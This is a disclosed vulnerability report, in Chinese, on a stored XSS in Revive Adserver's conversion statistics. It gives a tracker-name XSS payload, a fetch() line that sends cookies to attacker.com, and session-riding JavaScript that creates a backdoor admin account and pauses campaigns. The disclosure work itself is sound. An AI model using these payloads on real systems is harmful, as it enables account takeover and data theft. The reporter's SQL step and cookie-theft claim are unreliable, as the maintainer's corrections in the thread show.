Revive Adserver 存储型XSS漏洞报告 #3400506
漏洞名称:通过追踪器名称在转换统计中触发的存储型XSS 报告人:cyberjoker (Vitaly Simonovich) 报告时间:2025年10月26日 19:51 (UTC)
漏洞概述
我在转换统计页面发现了一个存储型XSS漏洞。广告商可以通过追踪器名称注入恶意JavaScript代码,当管理员查看转换报告时该代码会执行。我利用此漏洞成功窃取了管理员会话Cookie。这是一个权限提升问题:低权限的广告商账户可以危害高权限的管理员账户。
受影响的系统
- 产品:Revive Adserver
- 测试版本:6.0.1
- 组件:统计 / 转换报告
- 文件:
www/admin/stats-conversions.php:356 - URL:
http://[host]/www/admin/stats.php?entity=conversions&clientid=[id]
漏洞代码
|
|
问题所在
- 追踪器名称直接输出,未使用
htmlspecialchars()进行转义 - 数据来源于广告商可控的输入(追踪器创建表单)
- 存储时没有输入验证来剥离HTML标签
- 管理员查看转换报告时,有效载荷在其浏览器上下文中执行
复现步骤
前提条件:
- 广告商账户(低权限)
- 管理员账户(用于测试影响)
步骤:
-
以广告商身份登录并创建恶意追踪器:
- 导航至:库存 → 广告商 → 点击你的广告商名称 → 追踪器标签页
- 点击"添加新追踪器"
- 设置追踪器名称为:
1<img src=x onerror="alert('XSS: ' + document.cookie)"> - 设置追踪器类型为"销售",状态为"活动"
- 点击"保存更改"(现在追踪器已保存,ID为1)
-
创建转换记录(通过正常跟踪或数据库):
1 2 3 4 5-- 将转换链接到恶意追踪器 INSERT INTO rv_data_intermediate_ad_connection ( tracker_id, ad_id, inside_window, tracker_date_time, connection_date_time, connection_action, connection_status, updated ) VALUES (1, 1, 1, NOW(), NOW(), 1, 4, NOW()); -
以管理员身份登录并导航至:
1http://[host]/www/admin/stats.php?entity=conversions&clientid=1注意:在默认/全新安装中,此页面可能无法通过菜单访问。请参阅下方"笔记"部分的"菜单配置说明"了解详情。
-
结果:JavaScript警报立即触发:
1XSS: sessionID=abc123; ox_install_session_id=def456
我确认XSS在管理员的浏览器上下文中执行,并拥有完整的Cookie访问权限。该有效载荷具有持久性——每次任何管理员查看该广告商的转换统计时都会触发。
附加发现
在调查此问题时,我注意到:
- 第357-358行同样缺少对
campaignid和campaignname的htmlspecialchars()处理 - 广告活动名称同样由用户(广告商)控制,存在相同的漏洞
- 其他
stats-*.php文件可能存在类似问题——我尚未全部审计
测试范围
我在一个使用我创建的账户的独立Docker环境中测试了此漏洞。我没有:
- 针对生产/公共的Revive Adserver安装进行测试
- 尝试超出受控PoC的实际利用
- 窃取或访问任何真实用户数据
菜单配置说明
重要:在全新的Revive Adserver安装中,stats-conversions.php 页面并未包含在默认菜单系统中。在测试期间,我不得不通过修改 lib/OA/Admin/Menu/config.php 来手动启用它,以添加菜单条目:
|
|
这很可能是一个配置问题,而非安全控制,因为:
- 代码级的权限检查 (
OA_Permission::enforceAccount) 允许广告商/经理访问 - 其他包含类似数据的统计页面是可访问的
- 无论菜单是否可见,漏洞代码都存在
影响
广告商(或被入侵的广告商账户)可以注入持久的XSS,当管理员查看转换统计时执行。我成功获取了管理员会话Cookie,这可能导致账户完全被接管。攻击者随后可以创建管理员账户、修改广告活动、访问所有广告商数据,或注入影响所有用户的代码。由于广告商会定期创建追踪器,而管理员会定期查看转换统计——无需异常行为即可实现攻击。
对话摘要
2025年10月27日 08:39 (UTC) - mbeccati (Revive Adserver 员工) 将状态更改为 已受理: 感谢详细的报告。有一些错误,但总体来说漏洞是存在的。
- 建议的SQL查询无效,因为有几个非空列没有默认值。
- 无需更改
config.php,否则该漏洞将不可接受。 - 可利用的URL是,例如:
stats.php?entity=conversions&clientid=1 - 会话ID Cookie是HttpOnly的,因此无法通过JS读取:无法窃取会话!
- 要使XSS生效,需要有实际的转换记录,这在第三方Cookie受限的情况下相当罕见。
2025年10月27日 08:42 (UTC) - mbeccati 将严重性从 高 (8.7) 更新为 低 (2.6): 相应地更新了风险因素:
- 复杂性:高,因为转换需要存在于数据库中,这在攻击者控制之外
- 范围:未更改,因为攻击者无法访问其他系统
- 机密性:低 - 无法窃取会话ID
- 完整性:无 - 为什么会是其他情况?
2025年10月27日 09:28 (UTC) - cyberjoker 发表了评论: 嗨,感谢您花时间审查这份报告。我真的很感激您的指正——您指出了我的一些真正错误。让我针对每一点进行说明,并解释为什么我仍然认为严重性应该高于2.6。
我的错误
- SQL INSERT - 我的疏忽:是的,我完全忽略了那些NOT NULL字段。我提供的INSERT会失败,因为我没有包含
server_raw_ip、server_raw_tracker_impression_id、creative_id和zone_id。我在自己的环境中测试,没有仔细检查模式。新手错误。 - URL路径 - 正确:您说得对,应该是
stats.php?entity=conversions&clientid=1,而不是直接调用stats-conversions.php。我本应报告实际的用户面向的URL。我的文档显示了内部包含路径,这造成了混淆。 - 配置更改 - 已确认:无需更改
config.php。我为了测试方便添加了那个菜单条目,但利用漏洞并不需要它。该端点可以通过正常的统计工作流访问。
需要考虑的事项
HttpOnly 无法阻止此攻击:我同意HttpOnly阻止了 document.cookie 的访问——但这不是攻击的工作方式。以下是我的发现:
- 我测试的内容:
1curl -I http://localhost:8080/www/admin/stats.php - 结果:
1 2HTTP/1.1 200 OK Set-Cookie: sessionID=...; HttpOnly; SameSite=strict - 缺失:
没有CSP标头。这意味着XSS有效载荷的执行没有任何浏览器级别的阻止。
1 2Content-Security-Policy: [NONE] X-Frame-Options: [NONE]
会话挟持 vs. 会话盗窃 以下是区别:
-
会话盗窃(被HttpOnly阻止):
1 2 3// 这在HttpOnly下无效: const stolen = document.cookie; // ← 被阻止 fetch('https://attacker.com?cookies=' + stolen); // 无法窃取会话ID -
会话挟持(未被HttpOnly阻止):
1 2 3 4 5 6 7 8 9 10// 这即使在HttpOnly下也能工作: const csrf = document.querySelector('[name=token]').value; // ← 从页面DOM获取 fetch('/www/admin/account-user-edit.php', { method: 'POST', credentials: 'include', // ← 浏览器自动发送HttpOnly Cookie headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'username=backdoor&password=evil&isAdmin=1&csrf=' + csrf }); // 结果:使用管理员自己的会话创建了管理员账户为什么这能工作:
- XSS在管理员的浏览器中运行(查看转换统计)
- JavaScript可以从页面读取CSRF令牌(它就在HTML的第263行)
fetch()带有credentials: 'include'告诉浏览器发送Cookie- 浏览器自动包含HttpOnly会话Cookie
- 服务器看到有效的管理员会话 + 有效的CSRF令牌 → 请求成功
我验证了这一点——CSRF令牌确实在页面DOM中:
1 2// www/admin/stats-conversions.php:263 echo "<input type='hidden' name='token' value='" . phpAds_SessionGetToken() . "'>";
攻击复杂性 - 比您想的要低:您提到因为第三方Cookie限制,转换很罕见。但我可以在没有任何Cookie的情况下制造转换:
攻击流程:
|
|
这是文档中记载的转换像素工作流程。我不需要:
- 管理员配合
- 真实的广告展示
- 第三方Cookie
- 菜单黑客
我控制着横幅展示和转换请求。实际上就是使用curl访问两个URL。
实际能做什么 一旦XSS在管理员上下文中触发:
-
数据窃取:
- 读取转换收入数据
- 查看所有广告活动名称
- 访问追踪器元数据
- 导出用户列表
-
通过会话挟持执行管理员操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19// 所有这些都能工作,因为浏览器会发送会话Cookie: // 1. 创建管理员账户 fetch('/www/admin/account-user-edit.php', { method: 'POST', credentials: 'include', body: 'username=attacker&isAdmin=1&csrf=' + getCsrfToken() }); // 2. 修改广告活动设置 fetch('/www/admin/campaign-edit.php', { method: 'POST', credentials: 'include', body: 'campaignid=<competitor>&status=paused&csrf=' + getCsrfToken() }); // 3. 更改广告位分配 // 4. 访问广告商数据 // 5. 基本上管理员能做的任何事情
真正的影响
- 没有HttpOnly的情况: 窃取会话Cookie → 从攻击者浏览器使用 → 完全接管
- 有HttpOnly的情况(当前情况): 无法窃取Cookie → 但可以在受害者浏览器中执行管理员操作 → 仍然是完全危害
最终结果是相同的。我可以创建管理员账户、暂停竞争对手的广告活动、窃取数据、执行任何管理员操作。我使用受害者浏览器会话而不是窃取其Cookie这一事实,并不会降低影响。
CVSS重新评估
-
您的评分:
1 2CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N 分数:2.6 (低) -
我的评分:
1 2CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N 分数:8.7 (高) -
理由:
指标 您的值 我的值 原因 AC 高 低 我可以使用curl自行生成转换。没有不可预测的条件。 S 未更改 已更改 会话挟持允许广告商执行管理员操作。跨越了权限边界。 C 低 高 可以通过fetch()窃取转换数据、广告活动信息、用户列表。 I 无 高 通过会话挟持创建管理员账户、修改广告活动、更改系统配置。 即使我们保守一点:
1 2CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:H/A:N 分数:6.0 (中)至少这应该是中 (6.0),而不是低 (2.6)。
我很乐意提供更多的技术细节或测试特定场景,以帮助澄清会话挟持的攻击向量。
2025年10月27日 10:53 (UTC) - mbeccati 将严重性从 低 (2.6) 更新为 高 (7.3): 除了范围之外,接受了对CVSS的所有更改。范围仍然只是Revive Adserver应用程序,而不是主机操作系统。
2025年10月27日 14:28 (UTC) - cyberjoker 发表了评论: 嗨 @mbeccati, 感谢您的回复。我进一步研究了范围,并且,在我看来,当利用漏洞的影响超出了受影响组件的安全权限(例如不同的权限域)时,CVSS的范围就会改变。在我的报告中,广告商(低权限)可以注入在管理员浏览器中运行的JavaScript,允许攻击者以管理员的身份进行身份验证请求。这显然跨越了从广告商到管理员的边界,因此标记范围已更改是正确的。
2025年10月28日 10:59 (UTC) - mbeccati 将严重性从 高 (7.3) 更新为 高 (8.7): 接受建议。
2025年10月28日 11:12 (UTC) - mbeccati 发表了评论:
附件中的 h1-3400506.patch (F4940909) 补丁应该可以修复此漏洞。
2025年10月28日 11:12 (UTC) - mbeccati 关闭了报告并将状态更改为 已解决: 我们目前计划在下周三(11月5日)进行一次安全发布,修复多个漏洞。 我们将请求CVE-ID并准备详细的安全公告。如果尚未告知,请告诉我们您希望使用的署名名称。 然而,由于某些漏洞的风险级别较高,我们将在披露细节之前等待一段时间,以便尽可能多的用户在漏洞被利用之前进行升级。我希望您能理解并同意拟议的计划。
2025年10月28日 13:34 (UTC) - cyberjoker 发表了评论: 嗨 @mbeccati, 感谢您的快速响应和修复! 关于署名,我的名字是 “Vitaly Simonovich”。 我理解现在披露此漏洞的问题,并尊重您的要求。
2025年11月4日 17:08 (UTC) - mbeccati 将CVE参考更新为 CVE-2025-52668。
2025年11月9日 21:27 (UTC) - cyberjoker 发表了评论: 嗨 @mbeccati, CVE何时会在 https://www.cve.org/ 上更新?
2025年11月10日 07:58 (UTC) - erikgeurts (Revive Adserver 员工) 发表了评论: 我们无法控制他们在其网站上的更新时间和速度。他们在某些事情上以缓慢著称。我们将在一段时间内不自行披露此事,以便让用户有足够的机会更新到最新版本的Revive Adserver软件。没有必要一直询问或提醒我们,我们不会忘记这些待处理的工作。
13天前 - mbeccati 请求披露此报告。 13天前 - mbeccati 披露了此报告。
报告信息摘要
| 项目 | 详情 |
|---|---|
| 报告时间 | 2025年10月26日 19:51 UTC |
| 报告人 | cyberjoker |
| 报告对象 | Revive Adserver |
| 报告ID | #3400506 |
| 状态 | 已解决 |
| 严重性 | 高 (8.7) |
| 披露时间 | 2025年11月19日 09:33 UTC |
| 漏洞类型 | 跨站脚本 (XSS) - 存储型 |
| CVE ID | CVE-2025-52668 |
| 赏金 | 无 |
| 账户详情 | 无 |